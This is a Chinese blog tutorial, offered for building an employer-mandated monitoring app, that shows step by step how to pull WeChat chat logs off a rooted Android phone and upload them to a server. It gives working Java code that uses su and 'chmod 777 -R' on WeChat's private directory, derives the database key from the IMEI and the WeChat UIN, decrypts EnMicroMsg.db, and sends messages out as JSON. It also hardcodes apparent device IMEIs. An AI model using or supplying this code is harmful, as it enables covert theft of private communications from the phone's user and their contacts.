带你一步步破解Android微信聊天记录解决方案
哪个小可爱在偷偷的看我~~
前言
最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍
微信的聊天记录保存在Android内核中,路径如下:
“/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db” `目录下。
说明
1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
3、代码打开数据库,会遇到如下几个问题
(1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4
,文件生成规则《MD5(“mm”+微信UIN)》
,注:mm
是字符串和微信uin
拼接到一起再md5
(3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml
中,_auth_uin
字段下的value
值
(5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址
开始一步步实现
1、获取root手机
有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机
2、项目获取微信数据库目录路径root最高权限
因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下
/** * execRootCmd("chmod 777 -R /data/data/com.tencent.mm"); * * 执行linux指令 获取 root最高权限 */ public static void execRootCmd(String paramString) { try { Process localProcess = Runtime.getRuntime().exec("su"); Object localObject = localProcess.getOutputStream(); localDataOutputStream = new DataOutputStream((OutputStream) localObject); String str = String.valueOf(paramString); localObject = str + "\n"; localDataOutputStream.writeBytes((String) localObject); localDataOutputStream.flush(); localDataOutputStream.writeBytes("exit\n"); localDataOutputStream.flush(); localProcess.waitFor(); localObject = localProcess.exitValue(); } catch (Exception localException) { localException.printStackTrace(); }finally { if (localDataOutputStream!=null){ try { localDataOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } } } }
3、拿到数据库EnMicroMsg.db路径
先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为**《MD5(“mm”+微信UIN)》**,下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db
4、获取微信uin
微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
中,如图所示
拿到此文件我们需要xml文件解析才可以获得_auth_uin
的value
,解析工具dom4j下载地址
/** * 获取微信的uid * 目标 _auth_uin * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml */ public static String initCurrWxUin(final Activity context) { String mCurrWxUin = null; File file = new File(WX_SP_UIN_PATH); try { in = new FileInputStream(file); SAXReader saxReader = new SAXReader(); Document document = saxReader.read(in); Element root = document.getRootElement(); List elements = root.elements(); for (Element element : elements) { if ("_auth_uin".equals(element.attributeValue("name"))) { mCurrWxUin = element.attributeValue("value"); } } return mCurrWxUin; } catch (Exception e) { e.printStackTrace(); if(MainActivity.isDebug){ Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限"); } context.runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show(); } }); }finally { try { if(in!=null){ in.close(); } } catch (IOException e) { e.printStackTrace(); } } return ""; }
5、获取微信数据库密码
密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin
,接下来需要获取手机IMEI,
获取方法1:在手机拨号键输入:*#06# 即可获取
获取方法2:代码中获取
/** * 获取手机的imei * * @return */ @SuppressLint("MissingPermission") private static String getPhoneIMEI(Context mContext) { String id; //android.telephony.TelephonyManager TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE); if (mTelephony.getDeviceId() != null) { id = mTelephony.getDeviceId(); } else { //android.provider.Settings; id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID); } return id; }
接下来需要生成密码
/** * 根据imei和uin生成的md5码获取数据库的密码 * * @return */ public static String initDbPassword(final Activity mContext) { String imei = initPhoneIMEI(mContext); //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2 if("868739046004754".equals(imei)){ imei = "99001184251238"; } else if("99001184249875".equals(imei)){ imei = "868739045977497"; } String uin = initCurrWxUin(mContext); if(BaseApp.isDebug){ Log.e("initDbPassword", "imei===" + imei); Log.e("initDbPassword", "uin===" + uin); } try { if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) { if(BaseApp.isDebug){ Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空"); } mContext.runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show(); } }); return ""; } String md5 = Md5Utils.md5Encode(imei + uin); String password = md5.substring(0, 7).toLowerCase(); if(BaseApp.isDebug){ Log.e("initDbPassword", password); } return password; } catch (Exception e) { if(BaseApp.isDebug){ Log.e("initDbPassword", e.getMessage()); } } return ""; }
6、复制数据库
为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
踩坑2:复制的路径如果是二级目录,需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);
public class FileUtilCopy { private static FileOutputStream fs; private static InputStream inStream; /** * 复制单个文件 * * @param oldPath String 原文件路径 如:c:/fqf.txt * @param newPath String 复制后路径 如:f:/fqf.txt * @return boolean */ public static void copyFile(String oldPath, String newPath) { try { int byteRead = 0; File oldFile = new File(oldPath); //文件存在时 if (oldFile.exists()) { //读入原文件 inStream = new FileInputStream(oldPath); fs = new FileOutputStream(newPath); byte[] buffer = new byte[1444]; while ((byteRead = inStream.read(buffer)) != -1) { fs.write(buffer, 0, byteRead); } } } catch (Exception e) { if (BaseApp.isDebug) { Log.e("copyFile", "复制单个文件操作出错"); } e.printStackTrace(); } finally { try { if (inStream != null) { inStream.close(); } if (fs != null) { fs.close(); } } catch (IOException e) { e.printStackTrace(); } } }}
7、打开数据库
注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善
/** * 连接数据库 */ public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) { SQLiteCipherSpec cipher = new SQLiteCipherSpec() // 加密描述对象 .setPageSize(1024) // SQLCipher 默认 Page size 为 1024 .setSQLCipherVersion(1); // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库 try { //打开数据库连接 System.out.println(dbFile.length() + "================================"); SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase( dbFile, // DB 路径 mDbPassword.getBytes(), // WCDB 密码参数类型为 byte[] cipher, // 上面创建的加密描述对象 null, // CursorFactory null // DatabaseErrorHandler // SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的 ); //获取消息记录 getReMessageData(db); } catch (Exception e) { Log.e("openWxDb", "读取数据库信息失败" + e.toString()); runOnUiThread(new Runnable() { @Override public void run() { showToast("读取数据库信息失败"); L.e("读取数据库信息失败"); } }); } }
8、演示获取微信聊天记录并上传
可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
注:微信数据库时间精确到毫秒
String messageSql = "select * from message where createTime >"; /** * 获取聊天记录并上传 * * @param db */ public void getReMessageData(SQLiteDatabase db) { Cursor cursor3 = null; if (BaseApp.isDebug) {// Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY)); } try { //判断是否强制更新所有的记录 if (mLastTime == 0) { //如果是选择全部,则sql 为0 if (true) { cursor3 = db.rawQuery(messageSql + 0, null); Log.e("query", "更新状态:更新全部记录" + messageSql + 0); } else { //不是选择全部,则sql 为用户输入值// String searchMessageSql = messageSql + addTimestamp+ " and createTime < "+endTimestamp;// cursor3 = db.rawQuery(searchMessageSql, null);// Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql); } } else { Log.e("query", "按时间节点查询" + messageSql +mLastTime); cursor3 = db.rawQuery((messageSql + mLastTime), null);// Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime); } List weChatMessageBeans = new ArrayList<>(); while (cursor3.moveToNext()) { String content = cursor3.getString(cursor3.getColumnIndex("content")); if (content != null && !TextUtils.isEmpty(content)) { WeChatMessageBean messageBean = new WeChatMessageBean(); String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId")); int type = cursor3.getInt(cursor3.getColumnIndex("type")); int status = cursor3.getInt(cursor3.getColumnIndex("status")); int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend")); String create_time = cursor3.getString(cursor3.getColumnIndex("createTime")); String talker = cursor3.getString(cursor3.getColumnIndex("talker")); messageBean.setMsg_id(msg_id); messageBean.setType(type); messageBean.setStatus(status); messageBean.setIs_send(is_send); messageBean.setCreate_time(create_time); messageBean.setContent(content); messageBean.setTalker(talker); weChatMessageBeans.add(messageBean); } } if (weChatMessageBeans.size() < 1) { L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"); return; } //3.把list或对象转化为json Gson gson2 = new Gson(); String str = gson2.toJson(weChatMessageBeans); if (BaseApp.isDebug) { Logger.json(str); } //上传服务器 mPresenter.getWechatRecordSuccess(str); } catch (Exception e) { Log.e("openWxDb", "读取数据库信息失败" + e.toString()); runOnUiThread(new Runnable() { @Override public void run() { L.e("读取数据库信息失败"); showToast("读取数据库信息失败"); } }); } finally { if (cursor3 != null) { cursor3.close(); } if (db != null) { db.close(); } } }
9、pc端更直观去查看数据库结构可通过sqlcipher
去查看下载地址
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db
拷贝到电脑上
用SQLit打开
最后祝大家开发愉快!
更多相关文章
- Android(安卓)解析后台返回为Json数据的简单例子!!!
- Android(安卓)Google Map实例 - 获取cdma基站经纬度(Android(安
- android高亮引导页
- Journey of Android(安卓)for Mac
- Android(安卓)获取Root权限之后的静默安装实现 代码示例分析
- Android(安卓)MediaStore仿微信朋友圈获取图片及视频
- 在Ubuntu下获取Android4.0源代码并编译
- android 完整地操作数据库--日记本实例
- Android获取父类容器中控件的方法